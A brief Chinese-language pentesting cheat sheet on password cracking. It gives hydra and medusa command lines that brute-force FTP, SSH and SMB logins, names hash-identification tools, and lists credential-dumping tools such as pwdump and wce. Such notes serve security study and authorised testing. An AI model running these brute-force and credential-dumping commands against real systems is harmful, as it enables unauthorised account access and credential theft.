字典质量是根本,一般采用社会工程学。
破解工具
hydra
稳定性不好,应对单一主机
hydra -l user -P passlist.txt ftp://192.168.1.1
hydra -L userlist.txt -P passlist.txt ftp://192.168.1.1
hydra -L userlist.txt -P passlist.txt -M targetlist.txt ssh
hydra -L userlist.txt -P passlist.txt ftp://192.168.1.1 -t 1
# -t 1:线程为1
# -s 8080:指定端口
hydra -l administrator -P passlist.txt smb://1.1.1.1/admin$ -vV
Medusa
稳定性好,应对多主机
medusa -d
# 查看所有支持破解的服务
medusa -u root -P passlist.txt -M ssh -h 192.168.1.1 -F -e ns
# F:发现密码即停止破解
# -e ns:空密码和账号尝试
HASH 识别工具
Hash-identifier
hash-identifier
Hashid
准确性不如前者
hashid 21232f297a57a5a743894a0e4a801fc3
HASH 获取工具
Pwdump、fgdump、minikatz、wce